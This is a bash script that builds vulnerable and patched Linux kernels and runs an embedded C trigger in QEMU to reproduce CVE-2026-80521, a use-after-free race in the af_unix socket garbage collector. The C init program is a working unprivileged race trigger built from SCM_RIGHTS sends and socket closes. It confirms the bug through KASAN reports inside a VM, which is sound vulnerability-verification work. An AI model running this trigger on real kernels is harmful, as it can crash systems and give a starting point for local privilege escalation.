#!/bin/bash
# CVE-2026-80521 - Linux kernel af_unix GC race UAF (unix_del_edge() frees dead
# SCC vertex without unlinking scc_entry; later unix_walk_scc_fast() iterates
# freed memory).
#
# This script:
#   1. Fetches torvalds/linux at the fix commit 594d9051 (+ parent = vulnerable).
#   2. Builds a KASAN kernel at the vulnerable parent and at the fixed commit.
#   3. Builds a static initramfs whose /init (dropping to uid 1000) drives the
#      race: SCC {X} self-loop keeps the graph CYCLIC, paired sockets A<->B are
#      created and closed while a concurrent sendmsg from X publishes edge
#      B->B; a hammer thread keeps unix_gc() flushing via unix_schedule_gc().
#   4. Boots QEMU/KVM twice on the vulnerable kernel and twice on the fixed
#      kernel, scanning dmesg for KASAN use-after-free in the unix GC path.
#
# Exit 0 = vulnerability confirmed on vuln kernel and absent on fixed kernel.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

FIX_SHA="594d905195024b228c962627ae5ae7c17bd582a4"
REPO_URL="https://github.com/torvalds/linux"
CANON_REPO_URL="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux"

# --- project cache -----------------------------------------------------------
CACHE_DIR=""
CTX="$ROOT/project_cache_context.json"
if [ -f "$CTX" ]; then
    CACHE_DIR="$(jq -r 'select(.prepared==true) | .project_cache_dir // empty' "$CTX" 2>/dev/null || true)"
fi
if [ -z "$CACHE_DIR" ] || [ ! -d "$CACHE_DIR" ]; then
    CACHE_DIR="$ROOT/artifacts/linux-cache"
fi
mkdir -p "$CACHE_DIR"
REPO="$CACHE_DIR/repo"
BUILD="$CACHE_DIR/build"
WORK="$CACHE_DIR/work"
mkdir -p "$BUILD" "$WORK"

exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

log() { echo "[repro $(date +%H:%M:%S)] $*"; }

write_manifest() {
    # $1=entrypoint_kind $2=service_started $3=healthcheck $4=target_reached $5=notes
    local kind="$1" svc="$2" hc="$3" reached="$4" notes="$5"
    local commit_sha="$VULN_FULL_SHA"
    local target_digest
    target_digest="$(printf 'git:%s@%s' "$CANON_REPO_URL" "$commit_sha" | sha256sum | awk '{print $1}')"
    local artifacts_json="[]" hashes_json="{}"
    if [ "${#PROOF_ARTS[@]}" -gt 0 ]; then
        artifacts_json="$(printf '%s\n' "${PROOF_ARTS[@]}" | jq -R . | jq -s .)"
        hashes_json="$(for a in "${PROOF_ARTS[@]}"; do
            [ -f "$ROOT/$a" ] && printf '%s %s\n' "$a" "$(sha256sum "$ROOT/$a" | awk '{print $1}')"
        done | jq -R 'split(" ") | {(.[0]): .[1]}' | jq -s 'add // {}')"
    fi
    jq -n \
        --arg kind "$kind" \
        --arg detail "AF_UNIX socket sendmsg with SCM_RIGHTS fd passing and close operations that exercise net/unix/garbage.c unix_del_edge()/unix_walk_scc_fast() inside a QEMU/KVM VM booted on the tested kernel" \
        --argjson svc "$svc" --argjson hc "$hc" --argjson reached "$reached" \
        --arg repo "$CANON_REPO_URL" --arg commit "$commit_sha" \
        --arg digest "$target_digest" --arg notes "$notes" \
        --argjson artifacts "$artifacts_json" --argjson hashes "$hashes_json" \
        '{
           entrypoint_kind: $kind,
           entrypoint_detail: $detail,
           service_started: $svc,
           healthcheck_passed: $hc,
           target_path_reached: $reached,
           runtime_stack: ["qemu-system-x86_64", "linux-kernel-kasan", "static-initramfs"],
           target_identity: {
             repository_url: $repo,
             commit_sha: $commit,
             target_digest: $digest,
             platform: "linux",
             architecture: "x86_64"
           },
           proof_artifacts: $artifacts,
           artifact_sha256: $hashes,
           notes: $notes
         }' > "$REPRO_DIR/runtime_manifest.json"
    log "runtime_manifest.json written (reached=$reached)"
}
PROOF_ARTS=()
VULN_FULL_SHA="pending"
trap 'write_manifest "local_kernel_runtime" false false false "script aborted"' ERR

# --- dependencies ------------------------------------------------------------
need_pkg() {
    command -v "$1" >/dev/null 2>&1 && return 0
    log "installing missing dependency: $2"
    sudo apt-get update -qq && sudo apt-get install -y -qq "$2"
}
need_pkg qemu-system-x86_64 qemu-system-x86
need_pkg cpio cpio
need_pkg gcc gcc
need_pkg git git
need_pkg jq jq
need_pkg flex flex
need_pkg bison bison
need_pkg bc bc
need_pkg pahole dwarves

# --- fetch source ------------------------------------------------------------
if [ ! -d "$REPO/.git" ]; then
    log "cloning fix commit (depth=2) into $REPO"
    git init -q "$REPO"
    git -C "$REPO" remote add origin "$REPO_URL"
fi
if ! git -C "$REPO" cat-file -e "$FIX_SHA^{commit}" 2>/dev/null; then
    log "fetching $FIX_SHA (depth=2)"
    git -C "$REPO" fetch --depth=2 origin "$FIX_SHA"
fi
VULN_FULL_SHA="$(git -C "$REPO" rev-parse "$FIX_SHA^")"
FIX_FULL_SHA="$(git -C "$REPO" rev-parse "$FIX_SHA")"
log "vulnerable checkout: $VULN_FULL_SHA"
log "fixed checkout:      $FIX_FULL_SHA"

# Verify patch hunk presence/absence before building.
if git -C "$REPO" show "$VULN_FULL_SHA:net/unix/garbage.c" | grep -q 'list_del(&vertex->scc_entry);'; then
    log "ERROR: vulnerable checkout already contains the fix hunk"
    exit 1
fi
if ! git -C "$REPO" show "$FIX_FULL_SHA:net/unix/garbage.c" | grep -q 'list_del(&vertex->scc_entry);'; then
    log "ERROR: fixed checkout lacks the fix hunk"
    exit 1
fi
log "patch-hunk verification passed (vuln lacks list_del, fixed has it)"

# --- kernel build ------------------------------------------------------------
configure_kernel() {
    if [ ! -f "$BUILD/.config" ]; then
        make -C "$REPO" O="$BUILD" defconfig >/dev/null
    fi
    "$REPO/scripts/config" --file "$BUILD/.config" \
        --enable KASAN --disable KASAN_INLINE --enable KASAN_OUTLINE \
        --enable KASAN_STACK \
        --enable DEVTMPFS --enable DEVTMPFS_MOUNT \
        --enable PROC_FS --enable SYSFS \
        --enable UNIX --enable INET \
        --enable BLK_DEV_INITRD --enable RD_GZIP \
        --enable SERIAL_8250 --enable SERIAL_8250_CONSOLE \
        --disable DEBUG_INFO --disable WERROR \
        --disable SOUND --disable DRM --disable USB
    make -C "$REPO" O="$BUILD" olddefconfig >/dev/null
}

build_bzimage() { # $1=sha $2=output image $3=cache marker
    local sha="$1" out="$2" marker="$3"
    if [ -f "$out" ] && [ -f "$marker" ] && [ "$(cat "$marker")" = "$sha" ]; then
        log "reusing cached $(basename "$out") for $sha"
        return 0
    fi
    log "checking out $sha"
    git -C "$REPO" checkout -q -f "$sha"
    configure_kernel
    log "building bzImage for $sha (this can take a while)"
    make -C "$REPO" O="$BUILD" -j"$(nproc)" bzImage \
        > "$LOGS/kernel_build_$(basename "$out").log" 2>&1
    cp "$BUILD/arch/x86/boot/bzImage" "$out"
    echo "$sha" > "$marker"
    log "built $out"
}

build_bzimage "$VULN_FULL_SHA" "$CACHE_DIR/bzImage-vuln"  "$CACHE_DIR/bzImage-vuln.sha"
build_bzimage "$FIX_FULL_SHA"  "$CACHE_DIR/bzImage-fixed" "$CACHE_DIR/bzImage-fixed.sha"

# --- initramfs ---------------------------------------------------------------
INIT_C="$WORK/init_trigger.c"
cat > "$INIT_C" <<'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stddef.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <stdatomic.h>
#include <sched.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/mount.h>
#include <sys/reboot.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <linux/reboot.h>

static int cons = 1;
#define SAY(...) do { dprintf(cons, __VA_ARGS__); } while (0)

static int X; /* persistent sender with self-loop: keeps one live cyclic SCC */
static struct sockaddr_un xa;
static atomic_int stopflag;
static int repro_secs = 120;

static socklen_t addrlen_of(const struct sockaddr_un *a) {
    return (socklen_t)(offsetof(struct sockaddr_un, sun_path) + 1 + strlen(a->sun_path + 1));
}
static void mkaddr(struct sockaddr_un *a, const char *tag, unsigned long id) {
    memset(a, 0, sizeof(*a));
    a->sun_family = AF_UNIX;
    snprintf(a->sun_path + 1, sizeof(a->sun_path) - 1, "ruaf-%s-%lu", tag, id);
}

static int send_fds(int sock, const int *fds, int n, const struct sockaddr_un *dst, int flags) {
    char ctrl[CMSG_SPACE(sizeof(int) * 253)];
    char payload = 'x';
    struct iovec iov = { &payload, 1 };
    struct msghdr msg;
    memset(&msg, 0, sizeof(msg));
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    if (dst) { msg.msg_name = (void *)dst; msg.msg_namelen = addrlen_of(dst); }
    memset(ctrl, 0, sizeof(ctrl));
    msg.msg_control = ctrl;
    msg.msg_controllen = CMSG_SPACE(sizeof(int) * n);
    struct cmsghdr *c = CMSG_FIRSTHDR(&msg);
    c->cmsg_level = SOL_SOCKET;
    c->cmsg_type = SCM_RIGHTS;
    c->cmsg_len = CMSG_LEN(sizeof(int) * n);
    memcpy(CMSG_DATA(c), fds, sizeof(int) * n);
    return (int)sendmsg(sock, &msg, flags | MSG_NOSIGNAL);
}

static void pin_cpu(int cpu) {
    cpu_set_t s;
    CPU_ZERO(&s);
    CPU_SET(cpu, &s);
    pthread_setaffinity_np(pthread_self(), sizeof(s), &s);
}

/* ---- GC hammer: keep user->unix_inflight high and flush unix_gc work ---- */
static void *hammer_thread(void *arg) {
    (void)arg;
    pin_cpu(3);
    int hr = socket(AF_UNIX, SOCK_DGRAM, 0);
    struct sockaddr_un ha;
    mkaddr(&ha, "hammer", 0);
    if (bind(hr, (void *)&ha, addrlen_of(&ha)) < 0) { SAY("[trigger] hammer bind failed\n"); return NULL; }
    int p = socket(AF_UNIX, SOCK_DGRAM, 0);
    /* inflate unix_inflight beyond UNIX_INFLIGHT_SANE_USER (2024) */
    int many[253];
    for (int i = 0; i < 253; i++) many[i] = p;
    for (int i = 0; i < 10; i++) {
        if (send_fds(X, many, 253, &ha, 0) < 0 && i == 0)
            SAY("[trigger] inflate send failed: %m\n");
    }
    SAY("[trigger] inflight inflation done, hammering GC\n");
    while (!atomic_load_explicit(&stopflag, memory_order_relaxed)) {
        /* every SCM_RIGHTS send calls unix_prepare_fpl() -> unix_schedule_gc();
         * with a live cyclic SCC this performs flush_work(unix_gc_work). */
        send_fds(X, &p, 1, &ha, MSG_DONTWAIT);
    }
    return NULL;
}

/* ---- racer: SCC {A,B} cycle, concurrent send(B->B from X) + close(A,B) ---- */
struct racer {
    atomic_ulong go, ack, sent;
    int a, b;
    struct sockaddr_un aa, ba;
    unsigned long idbase;
};
static struct racer R[2];

static void *sender_thread(void *arg) {
    struct racer *r = arg;
    pin_cpu(1 + (int)(r->idbase & 1));
    unsigned long it = 0;
    while (!atomic_load_explicit(&stopflag, memory_order_relaxed)) {
        while (atomic_load_explicit(&r->go, memory_order_acquire) == it &&
               !atomic_load_explicit(&stopflag, memory_order_relaxed))
            ;
        if (atomic_load_explicit(&stopflag, memory_order_relaxed)) break;
        it = atomic_load_explicit(&r->go, memory_order_acquire);
        atomic_store_explicit(&r->ack, it, memory_order_release);
        /* 2-1) send sk-B's fd to sk-B from sk-X: publishes edge B->B via
         * unix_add_edges() before skb_queue_tail() queues the skb. */
        send_fds(X, &r->b, 1, &r->ba, MSG_DONTWAIT);
        atomic_store_explicit(&r->sent, it, memory_order_release);
    }
    return NULL;
}

static void *closer_thread(void *arg) {
    struct racer *r = arg;
    pin_cpu(0);
    unsigned long it = 0;
    while (!atomic_load_explicit(&stopflag, memory_order_relaxed)) {
        it++;
        r->a = socket(AF_UNIX, SOCK_DGRAM, 0);
        r->b = socket(AF_UNIX, SOCK_DGRAM, 0);
        if (r->a < 0 || r->b < 0) { it--; usleep(1000); continue; }
        mkaddr(&r->aa, "a", r->idbase + it);
        mkaddr(&r->ba, "b", r->idbase + it);
        if (bind(r->a, (void *)&r->aa, addrlen_of(&r->aa)) < 0 ||
            bind(r->b, (void *)&r->ba, addrlen_of(&r->ba)) < 0) {
            close(r->a); close(r->b); it--; continue;
        }
        /* form A<->B cycle (SCC {A,B}) */
        send_fds(X, &r->a, 1, &r->ba, 0); /* fd A -> B : edge A->B */
        send_fds(X, &r->b, 1, &r->aa, 0); /* fd B -> A : edge B->A */
        atomic_store_explicit(&r->go, it, memory_order_release);
        while (atomic_load_explicit(&r->ack, memory_order_acquire) != it &&
               !atomic_load_explicit(&stopflag, memory_order_relaxed))
            ;
        /* 2-2) close() both A and B concurrently with the racing send */
        close(r->a);
        close(r->b);
        while (atomic_load_explicit(&r->sent, memory_order_acquire) != it &&
               !atomic_load_explicit(&stopflag, memory_order_relaxed))
            ;
        if ((it % 50000) == 0)
            SAY("[trigger] racer %lu iterations=%lu\n", r->idbase, it);
    }
    return 0;
}

static int run_trigger(void) {
    struct rlimit rl = { 1048576, 1048576 };
    setrlimit(RLIMIT_NOFILE, &rl);
    if (setresgid(1000, 1000, 1000) || setresuid(1000, 1000, 1000)) {
        SAY("[trigger] setresuid failed: %m\n");
        return 1;
    }
    SAY("[trigger] running as uid=%d for %d seconds\n", getuid(), repro_secs);

    X = socket(AF_UNIX, SOCK_DGRAM, 0);
    mkaddr(&xa, "x", 0);
    if (bind(X, (void *)&xa, addrlen_of(&xa)) < 0) { SAY("[trigger] X bind failed: %m\n"); return 1; }
    /* X holds its own fd: live cyclic SCC {X} forces unix_walk_scc_fast()
     * on every subsequent GC pass (graph state stays CYCLIC). */
    if (send_fds(X, &X, 1, &xa, 0) < 0) { SAY("[trigger] X self-loop failed: %m\n"); return 1; }

    pthread_t th[5];
    pthread_create(&th[0], NULL, hammer_thread, NULL);
    for (int i = 0; i < 2; i++) {
        atomic_init(&R[i].go, 0);
        atomic_init(&R[i].ack, 0);
        atomic_init(&R[i].sent, 0);
        R[i].idbase = 1000000UL * (i + 1);
        pthread_create(&th[1 + i * 2], NULL, closer_thread, &R[i]);
        pthread_create(&th[2 + i * 2], NULL, sender_thread, &R[i]);
    }

    struct timespec ts = { repro_secs, 0 };
    nanosleep(&ts, NULL);
    atomic_store(&stopflag, 1);
    for (int i = 0; i < 5; i++) pthread_join(th[i], NULL);
    SAY("[trigger] finished stress loop\n");
    return 0;
}

/* ---- init (pid 1, root) ---- */
static void write_file_str(const char *p, const char *v) {
    int fd = open(p, O_WRONLY);
    if (fd >= 0) { write(fd, v, strlen(v)); close(fd); }
}

int main(void) {
    cons = open("/dev/console", O_WRONLY);
    if (cons < 0) cons = 1;
    mount("proc", "/proc", "proc", 0, NULL);
    mount("sysfs", "/sys", "sysfs", 0, NULL);
    mount("devtmpfs", "/dev", "devtmpfs", 0, NULL);
    /* generous socket buffers so GC-hammer queues do not stall the racer */
    write_file_str("/proc/sys/net/core/rmem_max", "268435456\n");
    write_file_str("/proc/sys/net/core/wmem_max", "268435456\n");
    write_file_str("/proc/sys/kernel/panic_on_warn", "0\n");

    /* parse repro_secs from /proc/cmdline */
    int cfd = open("/proc/cmdline", O_RDONLY);
    if (cfd >= 0) {
        char buf[1024]; int n = read(cfd, buf, sizeof(buf) - 1); close(cfd);
        if (n > 0) {
            buf[n] = 0;
            char *p = strstr(buf, "repro_secs=");
            if (p) repro_secs = atoi(p + 11);
        }
    }

    SAY("[init] booted, spawning unprivileged trigger (repro_secs=%d)\n", repro_secs);
    pid_t pid = fork();
    if (pid == 0) {
        _exit(run_trigger());
    }
    /* Poll dmesg while the trigger runs: the UAF can kill the GC kworker and
     * wedge the trigger in flush_work(), so do not wait for a clean exit. */
    int status = 0;
    char *log = NULL;
    long got = 0;
    for (;;) {
        pid_t r = waitpid(pid, &status, WNOHANG);
        long sz = syscall(SYS_syslog, 10, NULL, 0); /* SIZE_BUFFER */
        log = realloc(log, sz + 1);
        got = syscall(SYS_syslog, 3, log, (int)sz); /* READ_ALL */
        if (got < 0) got = 0;
        log[got] = 0;
        if ((strstr(log, "BUG: KASAN") || strstr(log, "use-after-free")) &&
            (strstr(log, "unix_gc") || strstr(log, "unix_scc") ||
             strstr(log, "unix_walk") || strstr(log, "unix_vertex")))
            break;
        if (strstr(log, "unix_scc_dead") &&
            (strstr(log, "Oops") || strstr(log, "general protection fault")))
            break;
        if (r == pid) break;
        sleep(3);
    }
    SAY("[init] trigger wait done status=%d; final kernel log scan\n", status);

    int kasan = 0, unix_hit = 0, oops = 0;
    if (strstr(log, "BUG: KASAN") || strstr(log, "use-after-free")) kasan = 1;
    if (strstr(log, "unix_walk_scc") || strstr(log, "unix_scc_dead") ||
        strstr(log, "unix_collect_skb") || strstr(log, "unix_vertex_dead") ||
        strstr(log, "unix_del_edge") || strstr(log, "unix_gc")) unix_hit = 1;
    if (strstr(log, "general protection fault") || strstr(log, "Oops") ||
        strstr(log, "kernel NULL pointer dereference")) oops = 1;

    /* print the relevant splat lines as evidence */
    char *save = NULL;
    for (char *line = strtok_r(log, "\n", &save); line; line = strtok_r(NULL, "\n", &save)) {
        if (strstr(line, "KASAN") || strstr(line, "unix_") || strstr(line, "Oops") ||
            strstr(line, "general protection") || strstr(line, "Call Trace") ||
            strstr(line, "RIP:") || strstr(line, "BUG:"))
            SAY("[dmesg] %s\n", line);
    }

    if (kasan && unix_hit)
        SAY("REPRO_UAF_DETECTED kasan=1 unix_gc_path=1\n");
    else if (oops && unix_hit)
        SAY("REPRO_UAF_DETECTED oops=1 unix_gc_path=1\n");
    else
        SAY("REPRO_CLEAN kasan=%d unix_hit=%d oops=%d\n", kasan, unix_hit, oops);

    sync();
    reboot(LINUX_REBOOT_CMD_POWER_OFF);
    return 0;
}
EOF

INITRAMFS="$CACHE_DIR/initramfs.cpio.gz"
if [ ! -f "$INITRAMFS" ] || [ "$INIT_C" -nt "$INITRAMFS" ]; then
    log "compiling static init/trigger"
    gcc -static -O2 -pthread -Wall -o "$WORK/init" "$INIT_C"
    rm -rf "$WORK/rootfs"
    mkdir -p "$WORK/rootfs"/{proc,sys,dev}
    cp "$WORK/init" "$WORK/rootfs/init"
    (cd "$WORK/rootfs" && find . | cpio -o -H newc 2>/dev/null | gzip -9) > "$INITRAMFS"
    log "initramfs ready: $INITRAMFS"
fi

# --- QEMU runs ---------------------------------------------------------------
run_vm() { # $1=bzImage $2=logfile $3=secs
    local image="$1" out="$2" secs="$3"
    log "booting VM: image=$(basename "$image") secs=$secs log=$out"
    local accel="tcg"
    [ -w /dev/kvm ] && accel="kvm"
    set +e
    timeout --foreground $((secs + 300)) qemu-system-x86_64 \
        -machine q35,accel="$accel" \
        -m 4096 -smp 6 \
        -kernel "$image" \
        -initrd "$INITRAMFS" \
        -append "console=ttyS0 panic=-1 repro_secs=$secs kasan.multi_shot=1" \
        -display none -serial stdio -monitor none -no-reboot \
        > "$out" 2>&1
    local rc=$?
    set -e
    log "VM exited rc=$rc ($(basename "$image"))"
}

VULN_SECS="${VULN_SECS:-120}"
FIX_SECS="${FIX_SECS:-90}"

for i in 1 2; do
    run_vm "$CACHE_DIR/bzImage-vuln" "$LOGS/vm_vuln_attempt${i}.log" "$VULN_SECS"
done
for i in 1 2; do
    run_vm "$CACHE_DIR/bzImage-fixed" "$LOGS/vm_fixed_attempt${i}.log" "$FIX_SECS"
done

# --- verdict -----------------------------------------------------------------
VULN_HIT=0
for i in 1 2; do
    if grep -q "REPRO_UAF_DETECTED" "$LOGS/vm_vuln_attempt${i}.log" || \
       { grep -qE "slab-use-after-free in (unix_gc|unix_)" "$LOGS/vm_vuln_attempt${i}.log" && \
         grep -qE "unix_scc_dead|unix_walk_scc|unix_collect_skb" "$LOGS/vm_vuln_attempt${i}.log"; }; then
        VULN_HIT=$((VULN_HIT + 1))
    fi
done
FIXED_HIT=0
FIXED_CLEAN=0
for i in 1 2; do
    if grep -q "REPRO_UAF_DETECTED" "$LOGS/vm_fixed_attempt${i}.log" || \
       grep -qE "slab-use-after-free in (unix_gc|unix_)" "$LOGS/vm_fixed_attempt${i}.log"; then
        FIXED_HIT=$((FIXED_HIT + 1))
    fi
    if grep -q "REPRO_CLEAN" "$LOGS/vm_fixed_attempt${i}.log"; then
        FIXED_CLEAN=$((FIXED_CLEAN + 1))
    fi
done

log "vulnerable UAF attempts: $VULN_HIT/2 ; fixed UAF: $FIXED_HIT/2 ; fixed clean: $FIXED_CLEAN/2"

# Extract the KASAN evidence into a repro artifact.
grep -h "^\[dmesg\]" "$LOGS"/vm_vuln_attempt*.log > "$REPRO_DIR/kasan_evidence.txt" 2>/dev/null || true

trap - ERR
if [ "$VULN_HIT" -ge 1 ] && [ "$FIXED_HIT" -eq 0 ] && [ "$FIXED_CLEAN" -ge 1 ]; then
    PROOF_ARTS=("logs/vm_vuln_attempt1.log" "logs/vm_vuln_attempt2.log" \
                "logs/vm_fixed_attempt1.log" "logs/vm_fixed_attempt2.log" \
                "repro/kasan_evidence.txt")
    write_manifest "local_kernel_runtime" true true true \
        "KASAN use-after-free in af_unix GC path on vulnerable kernel ($VULN_HIT/2 attempts); fixed kernel clean ($FIXED_CLEAN/2)"
    log "RESULT: CONFIRMED"
    exit 0
fi

PROOF_ARTS=("logs/vm_vuln_attempt1.log" "logs/vm_vuln_attempt2.log" \
            "logs/vm_fixed_attempt1.log" "logs/vm_fixed_attempt2.log")
write_manifest "local_kernel_runtime" true true false \
    "not confirmed: vuln_hits=$VULN_HIT fixed_hits=$FIXED_HIT fixed_clean=$FIXED_CLEAN"
log "RESULT: NOT CONFIRMED"
exit 1
